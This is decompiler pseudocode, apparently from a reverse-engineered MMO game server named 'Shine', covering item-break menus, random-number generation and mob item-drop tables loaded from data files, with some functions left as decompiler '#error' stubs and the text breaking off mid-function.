-------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail(void *this, int fail) { void *v2; // esi@1 __int16 v3; // bx@1 int v4; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_WORD *)(fail + 6); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, __int16))(*(_DWORD *)v4 + 32))(v4, v3); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v2 + 776))(v2, 12, 37, 6185); (*(void (__thiscall **)(void *, signed int, signed int, _DWORD))(*(_DWORD *)v2 + 776))( v2, 12, 37, *(_WORD *)(fail + 8)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemBreakFail"); } //----- (004662C0) -------------------------------------------------------- #error "4662C0: undefined or illegal type '#331' (funcsize=56)" //----- (004663A0) -------------------------------------------------------- #error "4663A0: undefined or illegal type '#331' (funcsize=56)" //----- (00466480) -------------------------------------------------------- #error "466480: undefined or illegal type '#440' (funcsize=31)" //----- (00466520) -------------------------------------------------------- #error "466520: undefined or illegal type '#440' (funcsize=45)" //----- (004665E0) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_ItemDropWarn(ServerMenuFuncter *this, #440 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemDropWarn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_ItemDropWarn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_ItemDropOK(a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemDropWarn"); } // 4DA610: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_ItemDropOK(_DWORD, _DWORD); //----- (00466680) -------------------------------------------------------- #error "466680: undefined or illegal type '#440' (funcsize=45)" //----- (00466740) -------------------------------------------------------- void __thiscall ServerMenuFuncter::smfm_ItemBreakWarn0(ServerMenuFuncter *this, #440 *a2, ServerMenuArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemBreakWarn0"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ServerMenuFuncter::smfm_ItemBreakWarn0"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; itembreakmenu( "ItemBreakWarn1", ServerMenuFuncter::smfm_ItemBreakWarn1, ServerMenuFuncter::smfm_ItemBreakCancel, a2, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ServerMenuFuncter::smfm_ItemBreakWarn0"); } //----- (00466800) -------------------------------------------------------- #error "466800: undefined or illegal type '#440' (funcsize=95)" //----- (004669A0) -------------------------------------------------------- #error "4669A0: undefined or illegal type '#440' (funcsize=104)" //----- (00466B50) -------------------------------------------------------- unsigned int __thiscall RandomBox::rb_1000000(RandomBox *this) { unsigned int v1; // eax@1 int v2; // eax@1 unsigned int v3; // edx@1 char *v4; // eax@1 int v5; // edx@1 unsigned int v6; // eax@1 int v7; // eax@1 unsigned int v8; // esi@1 char *v9; // eax@1 int v10; // ecx@1 v1 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v1; v2 = this->rb_box[4].rs_slot[v1] + 101; v3 = this->rb_box[v2].rs_point.value; v4 = (char *)this + v2 * 32776; v5 = *((_DWORD *)v4 + 8193) & (v3 + 1); *((_DWORD *)v4 + 8192) = v5; LOWORD(v5) = *(_WORD *)&v4[2 * v5]; v6 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v6; v7 = this->rb_box[4].rs_slot[v6] + 101; v8 = this->rb_box[v7].rs_point.mask; v9 = (char *)this + v7 * 32776; v10 = v8 & (*((_DWORD *)v9 + 8192) + 1); *((_DWORD *)v9 + 8192) = v10; return 1000 * (unsigned __int16)v5 + *(_WORD *)&v9[2 * v10]; } //----- (00466C30) -------------------------------------------------------- int __thiscall DropItemStruct::ItemGroup::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 int v4; // edi@1 signed int v5; // ebp@1 int v6; // edx@3 signed int v7; // esi@3 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); v3 = this + 20; v4 = a2 - this; v5 = 40; do { *(_BYTE *)v3 = *(_BYTE *)(v4 + v3); ++v3; --v5; } while ( v5 ); *(_WORD *)(this + 60) = *(_WORD *)(a2 + 60); *(_WORD *)(this + 62) = *(_WORD *)(a2 + 62); v6 = this + 64; v7 = 16; do { *(_WORD *)v6 = *(_WORD *)(v6 + v4); v6 += 2; --v7; } while ( v7 ); *(_DWORD *)(this + 96) = *(_DWORD *)(a2 + 96); return result; } //----- (00466CA0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::DropIndexCluster(ItemDropFromMob::DropIndexCluster *this) { ItemDropFromMob::DropIndexCluster *v1; // esi@1 v1 = this; OptionReader::OptionReader(&this->dic_Table); v1->dic_DropItemBySpecies = 0; } //----- (00466CC0) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreeder::mb_RegenGroupIndex(void *this, int regengroup) { int v2; // eax@1 int result; // eax@1 v2 = *(_DWORD *)this + 6424; *(_DWORD *)regengroup = *(_DWORD *)(*(_DWORD *)this + 6424); *(_DWORD *)(regengroup + 4) = *(_DWORD *)(v2 + 4); *(_DWORD *)(regengroup + 8) = *(_DWORD *)(v2 + 8); *(_DWORD *)(regengroup + 12) = *(_DWORD *)(v2 + 12); result = *(_DWORD *)(v2 + 16); *(_DWORD *)(regengroup + 16) = result; return result; } //----- (00466CF0) -------------------------------------------------------- int __thiscall ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed(int this) { int v1; // esi@1 v1 = this; DropItemStruct::ItemGroup::ItemGroup((ORKeyList::KeyElement *)(this + 2)); return v1; } //----- (00466D00) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this) { _eh_vector_destructor_iterator_( this->dilig_ItemList, 0x66u, 100, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00466D20) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(ItemDropFromMob::DropItemListInGroup *this, unsigned __int16 itm, DropItemStruct::ItemGroup *ig) { ItemDropFromMob::DropItemListInGroup *v3; // esi@1 char *v4; // eax@1 char buffer[256]; // [sp+8h] [bp-104h]@1 v3 = this; v4 = ORToken::ort_GetString(&this->dilig_Index, buffer); if ( v3->dilig_MaxItem >= 0x64u ) { AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListInGroup::dilig_AppendItem : Too many item", v4); ShineExit("ItemDropFromMob::DropItemListInGroup::dilig_AppendItem"); } v3->dilig_ItemList[v3->dilig_MaxItem].itemid = itm; DropItemStruct::ItemGroup::operator_((int)&v3->dilig_ItemList[v3->dilig_MaxItem++].itemgroup, (int)ig); } //----- (00466DC0) -------------------------------------------------------- #error "466DC0: undefined or illegal type '#331' (funcsize=164)" //----- (00467020) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::_DropIndexCluster(ItemDropFromMob::DropIndexCluster *this) { OptionReader *v1; // edi@1 void *v2; // eax@1 void *v3; // esi@2 v1 = (OptionReader *)this; v2 = this->dic_DropItemBySpecies; if ( v2 ) { v3 = (char *)v2 - 4; _eh_vector_destructor_iterator_( v2, 0x190u, *((_DWORD *)v2 - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); operator delete__(v3); } OptionReader::_OptionReader(v1); } //----- (00467090) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::DropItemListInGroup(ItemDropFromMob::DropItemListInGroup *this) { *(_QWORD *)&this->dilig_Index.ort_Name[12] = 0i64; *(_QWORD *)&this->dilig_Index.ort_Name[4] = 0i64; *(_DWORD *)&this->dilig_Index.ort_Name[0] = 0; _eh_vector_constructor_iterator_( this->dilig_ItemList, 0x66u, 100, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004670C0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(ItemDropFromMob::DropItemListInGroup *this, char *index, DropItemStruct::ItemGroup *ig) { char *v3; // esi@1 ItemDropFromMob::DropItemListInGroup *v4; // edi@1 unsigned __int16 v5; // ax@1 unsigned __int16 v6; // ax@4 unsigned __int16 v7; // si@4 ItemInfoServer *v8; // eax@4 DropItemStruct::ItemGroup *v9; // [sp-Ch] [bp-30h]@9 ItemDropFromMob::DropItemListInGroup *thisa; // [sp+8h] [bp-1Ch]@1 char itmgrpidx[4]; // [sp+Ch] [bp-18h]@3 int v12; // [sp+10h] [bp-14h]@3 int v13; // [sp+14h] [bp-10h]@3 int v14; // [sp+18h] [bp-Ch]@3 int v15; // [sp+1Ch] [bp-8h]@3 v3 = index; v4 = this; thisa = this; v5 = ItemDataBox::idb_2itemid(&itemdatabox, index); if ( v5 == -1 ) { v15 = 0; v14 = 0; v13 = 0; v12 = 0; *(_DWORD *)itmgrpidx = 0; strncpy(itmgrpidx, v3, 0x14u); ItemDataBox::idb_iter_home(&itemdatabox, (unsigned int *)&index); while ( 1 ) { v6 = ItemDataBox::idb_iter_Get(&itemdatabox, (unsigned int *)&index); v7 = v6; v8 = ItemDataBox::operator__(&itemdatabox, v6)->dataserv; if ( *(_DWORD *)&v8->DropGroupA[0] != *(_DWORD *)itmgrpidx || *(_DWORD *)&v8->DropGroupA[4] != v12 || *(_DWORD *)&v8->DropGroupA[8] != v13 || *(_DWORD *)&v8->DropGroupA[12] != v14 || *(_DWORD *)&v8->DropGroupA[16] != v15 ) { if ( *(_DWORD *)&v8->DropGroupB[0] != *(_DWORD *)itmgrpidx || *(_DWORD *)&v8->DropGroupB[4] != v12 || *(_DWORD *)&v8->DropGroupB[8] != v13 || *(_DWORD *)&v8->DropGroupB[12] != v14 || *(_DWORD *)&v8->DropGroupB[16] != v15 ) goto LABEL_17; v9 = ig; } else { v9 = ig; } ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(thisa, v7, v9); LABEL_17: if ( !ItemDataBox::idb_iter_next(&itemdatabox, (unsigned int *)&index) ) return; } } ItemDropFromMob::DropItemListInGroup::dilig_AppendItem(v4, v5, ig); } //----- (004671F0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropGroupCluster::DropGroupCluster(ItemDropFromMob::DropGroupCluster *this) { ItemDropFromMob::DropGroupCluster *v1; // esi@1 void *v2; // eax@1 int v3; // edi@2 v1 = this; this->dgc_MaxNumber = 64; v2 = operator new__(0x9FC04u); if ( v2 ) { v3 = (int)((char *)v2 + 4); *(_DWORD *)v2 = 64; _eh_vector_constructor_iterator_( (char *)v2 + 4, 0x27F0u, 64, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::DropItemListInGroup, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); } else { v3 = 0; } v1->dgc_GroupList = (ItemDropFromMob::DropItemListInGroup *)v3; v1->dgc_Current = 0; } //----- (00467270) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropGroupCluster::dgc_Append(ItemDropFromMob::DropGroupCluster *this, ORToken *index) { ItemDropFromMob::DropGroupCluster *v2; // ebx@1 int v3; // esi@1 ItemDropFromMob::DropItemListInGroup *v4; // ebp@2 int v5; // esi@2 void *v6; // eax@2 void *v7; // edi@2 unsigned int v8; // kr00_4@4 int v9; // eax@6 unsigned int v10; // ST0C_4@6 void *v11; // ST08_4@6 v2 = this; v3 = this->dgc_MaxNumber; if ( this->dgc_Current >= v3 ) { v4 = this->dgc_GroupList; v5 = v3 + 16; this->dgc_MaxNumber = v5; v6 = operator new__(10224 * v5 + 4); v7 = 0; if ( v6 ) { v7 = (char *)v6 + 4; *(_DWORD *)v6 = v5; _eh_vector_constructor_iterator_( (char *)v6 + 4, 0x27F0u, v5, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::DropItemListInGroup, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); } v8 = 10224 * v2->dgc_Current; v2->dgc_GroupList = (ItemDropFromMob::DropItemListInGroup *)v7; memcpy(v7, v4, v8); if ( v4 ) { _eh_vector_destructor_iterator_( v4, 0x27F0u, *((_DWORD *)v4 - 1), (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::_DropItemListInGroup); operator delete__((char *)v4 - 4); } } v9 = (int)&v2->dgc_GroupList[v2->dgc_Current]; *(_QWORD *)v9 = *(_QWORD *)&index->ort_Name[0]; *(_QWORD *)(v9 + 8) = *(_QWORD *)&index->ort_Name[8]; *(_DWORD *)(v9 + 16) = *(_DWORD *)&index->ort_Name[16]; *(_DWORD *)(v9 + 10220) = 0; v10 = v2->dgc_Current + 1; v11 = v2->dgc_GroupList; v2->dgc_Current = v10; qsort(v11, v10, 0x27F0u, ItemDropFromMob::DropItemListInGroup::dilig_Compare); } //----- (004673A0) -------------------------------------------------------- ItemDropFromMob::DropItemListInGroup *__thiscall ItemDropFromMob::DropGroupCluster::dgc_Find(ItemDropFromMob::DropGroupCluster *this, ORToken *index) { ItemDropFromMob::DropGroupCluster *v2; // esi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 int v6; // eax@1 unsigned int v7; // ecx@1 const void *v8; // edx@1 void *v9; // esi@1 int key; // [sp+8h] [bp-27F4h]@1 int v12; // [sp+Ch] [bp-27F0h]@1 int v13; // [sp+10h] [bp-27ECh]@1 int v14; // [sp+14h] [bp-27E8h]@1 int v15; // [sp+18h] [bp-27E4h]@1 char ptr; // [sp+1Ch] [bp-27E0h]@1 int v17; // [sp+27F4h] [bp-8h]@1 v2 = this; v15 = 0; v14 = 0; v13 = 0; v12 = 0; key = 0; _eh_vector_constructor_iterator_( &ptr, 0x66u, 100, (void (__thiscall *)(void *))ItemDropFromMob::DropItemListInGroup::__unnamed::__unnamed, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v3 = *(_DWORD *)&index->ort_Name[4]; key = *(_DWORD *)&index->ort_Name[0]; v4 = *(_DWORD *)&index->ort_Name[8]; v12 = v3; v5 = *(_DWORD *)&index->ort_Name[12]; v6 = *(_DWORD *)&index->ort_Name[16]; v13 = v4; v7 = v2->dgc_Current; v14 = v5; v8 = v2->dgc_GroupList; v15 = v6; v17 = 0; v9 = bsearch(&key, v8, v7, 0x27F0u, ItemDropFromMob::DropItemListInGroup::dilig_Compare); _eh_vector_destructor_iterator_( &ptr, 0x66u, 100, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); return (ItemDropFromMob::DropItemListInGroup *)v9; } //----- (00467470) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate(ItemDropFromMob::DropItemListForSpecies *this, int sub, DropItemStruct::DropTable *droptable, #331 *attacker, RateRecalc *victim, char rrcalc, unsigned int loot_party, unsigned int loot_handle) { unsigned int v8; // eax@1 char *v9; // eax@1 int v10; // ecx@1 int v11; // edx@1 bool v12; // sf@1 unsigned __int8 v13; // of@1 unsigned int v14; // ebx@2 char *v15; // edi@2 unsigned int v16; // ST20_4@2 signed int v17; // edx@2 __int16 v18; // ax@3 ItemDropFromMob::DropItemListInGroup *v19; // eax@6 char buffer[128]; // [sp+14h] [bp-90h]@6 unsigned int v21; // [sp+94h] [bp-10h]@8 int v22; // [sp+A0h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v8; v9 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v8]]; v10 = *((_DWORD *)v9 + 8193) & (*((_DWORD *)v9 + 8192) + 1); *((_DWORD *)v9 + 8192) = v10; v11 = *(_WORD *)&v9[2 * v10]; v13 = __OFSUB__(v11, *(_DWORD *)(rrcalc + 4)); v12 = v11 - *(_DWORD *)(rrcalc + 4) < 0; v22 = 0; if ( v12 ^ v13 ) { v14 = droptable->droptable[sub].droprate; v15 = (char *)droptable + 27 * sub; v16 = RandomBox::rb_1000000(&rndbox); v17 = (signed int)((unsigned __int64)((signed int)(v14 * (*(_DWORD *)rrcalc + *(_DWORD *)(rrcalc + 8))) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; if ( v16 < v17 + ((unsigned int)v17 >> 31) ) { v18 = *((_WORD *)v15 + 90); if ( v18 ) { if ( v18 != -1 ) *((_WORD *)v15 + 90) = v18 - 1; ORToken::ort_GetString((ORToken *)(v15 + 155), buffer); v19 = ItemDropFromMob::DropGroupCluster::dgc_Find(&dropgroupcluster, (ORToken *)(v15 + 155)); if ( v19 ) ItemDropFromMob::DropItemListInGroup::dilig_Drop(v19, attacker, (char)victim, loot_party, loot_handle); } } } --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate"); __security_check_cookie(v21); } // 467470: inconsistent function type and number of purged bytes //----- (00467630) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::dic_Load(ItemDropFromMob::DropIndexCluster *this, Name4 *world) { ItemDropFromMob::DropIndexCluster *v2; // ebx@1 int v3; // eax@1 int v4; // esi@1 void *v5; // eax@1 int v6; // ebp@1 int v7; // edi@2 int j; // esi@4 int v9; // edx@6 int v10; // ecx@6 int v11; // edx@6 int v12; // eax@7 int k; // ebp@10 unsigned int v14; // esi@11 void *v15; // eax@11 void *v16; // edi@11 int v17; // ecx@12 int v18; // esi@12 int v19; // edx@12 bool v20; // zf@12 int v21; // esi@15 int v22; // esi@16 int v23; // ebp@16 ORToken *v24; // esi@22 signed int v25; // edi@22 int v26; // edx@29 int v27; // ecx@29 int v28; // edx@29 char v29; // bl@30 int v30; // eax@30 int v31; // edi@33 void *v32; // eax@34 void *v33; // esi@34 int v34; // ecx@35 int v35; // eax@35 signed int v36; // edx@35 int v37; // ebx@36 int v38; // ebp@36 ItemDropFromMob::DropItemListInGroup *v39; // eax@40 ORToken v40; // [sp-18h] [bp-109B8h]@11 void *v41; // [sp-14h] [bp-109B4h]@2 unsigned int v42; // [sp-10h] [bp-109B0h]@2 int v43; // [sp-Ch] [bp-109ACh]@2 void (__thiscall *v44)(void *); // [sp-8h] [bp-109A8h]@2 int v45; // [sp-4h] [bp-109A4h]@2 char rst; // [sp+13h] [bp-1098Dh]@7 void *i; // [sp+14h] [bp-1098Ch]@1 ORToken *v48; // [sp+18h] [bp-10988h]@11 int buf; // [sp+1Ch] [bp-10984h]@6 int v50; // [sp+20h] [bp-10980h]@6 int v51; // [sp+24h] [bp-1097Ch]@6 int v52; // [sp+28h] [bp-10978h]@6 char v53; // [sp+2Ch] [bp-10974h]@6 char path[128]; // [sp+3Ch] [bp-10964h]@6 char v55; // [sp+BCh] [bp-108E4h]@23 OptionReader or; // [sp+13Ch] [bp-10864h]@29 unsigned int cookie; // [sp+10990h] [bp-10h]@43 int v58; // [sp+1099Ch] [bp-4h]@1 v2 = this; v3 = MobDataBox::operator int(&mobdatabox); v4 = v3; v5 = operator new__(400 * v3 + 4); i = v5; v6 = 0; v58 = 0; if ( v5 ) { v45 = (int)ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v44 = (void (__thiscall *)(void *))MoveManager::MoveManager; v43 = v4; v7 = (int)((char *)v5 + 4); v42 = 400; v41 = (char *)v5 + 4; *(_DWORD *)v5 = v4; _eh_vector_constructor_iterator_(v41, v42, v43, v44, (void (__thiscall *)(void *))v45); } else { v7 = 0; } v58 = -1; v2->dic_DropItemBySpecies = (ItemDropFromMob::DropItemListForSpecies *)v7; for ( j = 0; j < MobDataBox::operator int(&mobdatabox); ++v6 ) { memset(&v2->dic_DropItemBySpecies[v6], 0, sizeof(v2->dic_DropItemBySpecies[v6])); ++j; } v9 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v10 = *(_DWORD *)&world->n4_name[8]; v50 = v9; v11 = *(_DWORD *)&world->n4_name[12]; v51 = v10; v52 = v11; v53 = 0; sprintf(path, "../9Data/Shine/World/%s/ItemDropTable.txt"); if ( !OptionReader::or_Read(&v2->dic_Table, path) ) { rst = OptionReader::or_Read(&v2->dic_Table, "../9Data/Shine/World/ItemDropTable.txt"); v12 = OptionReader::or_ErrorLine(&v2->dic_Table); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "DropItemManager::dim_Load : Error in ItemDropTable.txt", v12); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } } for ( k = 0; ; ++k ) { v45 = k; v48 = &v40; v14 = 0; i = (void *)k; v44 = 0; v43 = 0; v42 = 0; v41 = 0; *(_DWORD *)&v40.ort_Name[0] = 0; strncpy(v40.ort_Name, "ItemGroup", 0x14u); v15 = OptionReader::or_SelectFromOrder(&v2->dic_Table, v40, v45); v16 = v15; if ( !v15 ) break; v17 = *((_WORD *)v15 + 33); v18 = *(_DWORD *)((char *)v15 + 1470); v19 = *((_BYTE *)v15 + 70); v20 = v19 + *(_DWORD *)((char *)v15 + 71) + *(_DWORD *)((char *)v15 + 75) + *(_DWORD *)((char *)v15 + 79) + v17 + *((_WORD *)v15 + 34) != v18; v48 = (ORToken *)(v19 + *(_DWORD *)((char *)v15 + 71) + *(_DWORD *)((char *)v15 + 75) + *(_DWORD *)((char *)v15 + 79) + v17 + *((_WORD *)v15 + 34) == v18); if ( v20 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in DropTable where MobID is", k); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } v21 = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v15 + 33); if ( v21 < MobDataBox::operator int(&mobdatabox) ) { v22 = (int)&v2->dic_DropItemBySpecies[v21]; v23 = *((_BYTE *)v16 + 70); if ( *(_DWORD *)(v22 + 4 * v23) ) { v45 = *((_BYTE *)v16 + 70); AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListForSpecies::dilfs_Store : AbstateNum is duplicate", v45); ShineExit("ItemDropFromMob::DropItemListForSpecies::dilfs_Store"); } v48 = (ORToken *)((unsigned int)v23 < 0x64); if ( (unsigned int)v23 >= 0x64 ) { AssertClass::ac_AssertFail( &shineassert, "ItemDropFromMob::DropItemListForSpecies::dilfs_Store : AbstateNum is too big", v23); ShineExit("ItemDropFromMob::DropItemListForSpecies::dilfs_Store"); } *(_DWORD *)(v22 + 4 * v23) = v16; v24 = (ORToken *)((char *)v16 + 155); v25 = 45; do { if ( *ORToken::ort_GetString(v24, &v55) != 45 && !ItemDropFromMob::DropGroupCluster::dgc_Find(&dropgroupcluster, v24) ) ItemDropFromMob::DropGroupCluster::dgc_Append(&dropgroupcluster, v24); v24 = (ORToken *)((char *)v24 + 27); --v25; } while ( v25 ); k = (int)i; } } OptionReader::OptionReader(&or); v26 = *(_DWORD *)&world->n4_name[4]; buf = *(_DWORD *)&world->n4_name[0]; v27 = *(_DWORD *)&world->n4_name[8]; v50 = v26; v28 = *(_DWORD *)&world->n4_name[12]; v45 = (int)&buf; v51 = v27; v58 = 1; v52 = v28; v53 = 0; sprintf(path, "../9Data/Shine/World/%s/ItemDropGroup.txt"); if ( !OptionReader::or_Read(&or, path) ) { v29 = OptionReader::or_Read(&or, "../9Data/Shine/World/ItemDropGroup.txt"); v30 = OptionReader::or_ErrorLine(&or); if ( !v29 ) { AssertClass::ac_AssertFail(&shineassert, "DropItemManager::dim_Load : Error in ItemDropGroup.txt", v30); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } } v31 = 0; while ( 1 ) { v45 = v31; v48 = &v40; v44 = (void (__thiscall *)(void *))v14; v43 = v14; v42 = v14; v41 = (void *)v14; *(_DWORD *)&v40.ort_Name[0] = v14; strncpy(v40.ort_Name, "ItemDropGroup", 0x14u); v32 = OptionReader::or_SelectFromOrder(&or, v40, v45); v33 = v32; if ( !v32 ) break; v34 = *((_WORD *)v32 + 30) + *((_WORD *)v32 + 31); v35 = (int)((char *)v32 + 68); v36 = 4; do { v37 = *(_WORD *)(v35 + 2) + *(_WORD *)(v35 - 2) + *(_WORD *)(v35 - 4); v38 = v34 + *(_WORD *)v35; v35 += 8; --v36; v34 = v37 + v38; } while ( v36 ); if ( v34 != *((_DWORD *)v33 + 24) ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in ItemGroup at", v31); ShineExit("ItemDropFromMob::DropIndexCluster::dic_Load"); } v39 = ItemDropFromMob::DropGroupCluster::dgc_Find(&dropgroupcluster, (ORToken *)v33); if ( v39 ) ItemDropFromMob::DropItemListInGroup::dilig_StoreItem(v39, (char *)v33 + 20, (DropItemStruct::ItemGroup *)v33); ++v31; v14 = 0; } v58 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00467AA0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropItemListForSpecies::dilfs_Drop(ItemDropFromMob::DropItemListForSpecies *this, DropItemStruct::DropTable *droptable, ORToken *regengroup, #331 *attacker, char victim, unsigned int loot_party, RateRecalc *loot_handle, unsigned int raterecalc) { int v8; // esi@1 char *v9; // ebp@10 char *v10; // [sp-4h] [bp-40h]@9 ItemDropFromMob::DropItemListForSpecies *thisa; // [sp+10h] [bp-2Ch]@1 char area[4]; // [sp+18h] [bp-24h]@4 int v13; // [sp+1Ch] [bp-20h]@4 int v14; // [sp+20h] [bp-1Ch]@4 int v15; // [sp+24h] [bp-18h]@4 int v16; // [sp+28h] [bp-14h]@4 unsigned int v17; // [sp+2Ch] [bp-10h]@18 int v18; // [sp+38h] [bp-4h]@1 thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; v18 = 0; if ( !(_S14_7 & 1) ) { _S14_7 |= 1u; *(_QWORD *)&dash.ort_Name[12] = 0i64; *(_QWORD *)&dash.ort_Name[4] = 0i64; *(_DWORD *)&dash.ort_Name[0] = 0; strncpy(dash.ort_Name, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); atexit(_E15_7); } if ( droptable->index.area[0] == 45 || (v16 = 0, v15 = 0, v14 = 0, v13 = 0, *(_DWORD *)area = 0, strncpy(area, droptable->index.area, 0x14u), *(_DWORD *)area == *(_DWORD *)®engroup->ort_Name[0]) && v13 == *(_DWORD *)®engroup->ort_Name[4] && v14 == *(_DWORD *)®engroup->ort_Name[8] && v15 == *(_DWORD *)®engroup->ort_Name[12] && v16 == *(_DWORD *)®engroup->ort_Name[16] ) { v9 = &droptable->droptable[0].dropitemgroup.ort_Name[8]; do { if ( __PAIR__(*((_DWORD *)v9 - 1), *((_DWORD *)v9 - 2)) != *(_QWORD *)&dash || *(_QWORD *)v9 != *(_QWORD *)&dash.ort_Name[8] || *((_DWORD *)v9 + 2) != *(_DWORD *)&dash.ort_Name[16] ) { if ( v9[16] == 114 ) ItemDropFromMob::DropItemListForSpecies::dilfs_DropByRate( thisa, v8, droptable, attacker, (RateRecalc *)victim, raterecalc, loot_party, (unsigned int)loot_handle); } ++v8; v9 += 27; } while ( (unsigned int)v8 < 0x2D ); v18 = -1; v10 = "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"; } else { v18 = -1; v10 = "ItemDropFromMob::DropItemListForSpecies::dilfs_Drop"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); __security_check_cookie(v17); } // 467AA0: inconsistent function type and number of purged bytes //----- (00467C80) -------------------------------------------------------- #error "467C80: undefined or illegal type '#331' (funcsize=103)" //----- (00467DF0) -------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::dic_ItemDrop(ItemDropFromMob::DropIndexCluster *this, #331 *attacker, 